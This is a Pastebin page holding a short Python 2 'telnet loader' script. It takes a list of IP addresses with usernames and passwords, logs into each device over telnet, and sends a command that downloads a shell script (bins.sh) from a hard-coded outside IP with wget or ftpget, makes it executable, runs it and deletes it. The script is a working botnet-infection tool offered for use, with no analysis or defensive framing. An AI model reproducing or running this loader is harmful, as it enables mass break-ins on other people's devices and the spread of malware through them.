Advertisement
uzycie

loader

May 10th, 2017
331
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.91 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Simple Telnet Loader | By; LiGhT
  3.  
  4. import sys, re, os, socket, time
  5. from threading import Thread
  6.  
  7. if len(sys.argv) < 2:
  8.     sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
  9.  
  10. cmd="cd /tmp || cd /var/run || cd /mnt || cd /root || cd / || busybox cd /tmp || busybox cd /var/run || busybox cd /mnt || busybox cd /root || busybox cd / || /bin/busybox cd /tmp || /bin/busybox cd /var/run || /bin/busybox cd /mnt || /bin/busybox cd /root || /bin/busybox cd /; wget http://50.115.166.17/bins.sh; busybox wget http://50.115.166.17/bins.sh; /bin/busybox wget http://50.115.166.17/bins.sh; /usr/busybox wget http://50.115.166.17/bins.sh; ftpget -v -u anonymous -p anonymous -P 21 50.115.166.17 bins.sh bins.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 50.115.166.17 bins.sh bins.sh; /bin/busybox ftpget -v -u anonymous -p anonymous -P 21 50.115.166.17 bins.sh update.sh; /usr/busybox ftpget -v -u anonymous -p anonymous -P 21 50.115.166.17 bins.sh bins.sh; chmod 777 bins.sh; busybox chmod 777 bins.sh; /bin/busybox chmod 777 bins.sh; /usr/busybox chmod 777 bins.sh; ./bins.sh; rm -rf bins.sh; busybox rm -rf bins.sh; /bin/busybox rm -rf bins.sh; /usr/busybox rm -rf bins.sh" #command to send
  11. info = open(str(sys.argv[1]),'a+')
  12.  
  13. def sqwad(ip,username,password):
  14.     ip = str(ip).rstrip("\n")
  15.     username = username.rstrip("\n")
  16.     password = password.rstrip("\n")
  17.     try:
  18.         tn = socket.socket()
  19.         tn.settimeout(5)
  20.         tn.connect((ip,23))
  21.     except Exception:
  22.         print "\033[32m[\033[31m+\033[32m] \033[31mFailed To Connect!\033[37m %s"%(ip)
  23.         tn.close()
  24.     try:
  25.         hoho = ''
  26.         hoho += readUntil(tn, "ogin")
  27.         if "ogin" in hoho:
  28.             tn.send(username + "\n")
  29.             print "\033[32m[\033[31m+\033[32m] \033[35mSending Username!\033[37m %s"%(ip)
  30.             time.sleep(0.09)
  31.         else:
  32.             pass
  33.     except Exception:
  34.         tn.close()
  35.     try:
  36.         hoho = ''
  37.         hoho += readUntil(tn, "assword:")
  38.         if "assword" in hoho:
  39.             tn.send(password + "\n")
  40.             print "\033[32m[\033[33m+\033[32m] \033[36mSending Password!\033[37m %s"%(ip)
  41.             time.sleep(2)
  42.         else:
  43.             pass
  44.     except Exception:
  45.         tn.close()
  46.     try:
  47.         tn.send("sh" + "\n")
  48.         time.sleep(0.009)
  49.         tn.send("shell" + "\n")
  50.         time.sleep(0.01)
  51.         tn.send(cmd + "\n")
  52.         print "\033[32m[\033[31m+\033[32m] \033[32mCommand Sent!\033[37m %s"%(ip) #False possitives because thats what yall wanted lmao
  53.         time.sleep(15)
  54.         tn.close()
  55.     except Exception:
  56.         tn.close()
  57.  
  58. def readUntil(tn, string, timeout=8):
  59.     buf = ''
  60.     start_time = time.time()
  61.     while time.time() - start_time < timeout:
  62.         buf += tn.recv(1024)
  63.         time.sleep(0.01)
  64.         if string in buf: return buf
  65.     raise Exception('TIMEOUT!')
  66.  
  67. for x in info:
  68.     try:
  69.         if ":23 " in x:
  70.             x = x.replace(":23 ", ":")
  71.         xinfo = x.split(":")
  72.         session = Thread(target=sqwad, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))
  73.         session.start()
  74.         ip=xinfo[0]
  75.         username=xinfo[1]
  76.         password=xinfo[2]
  77.         time.sleep(0.01)
  78.     except:
  79.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement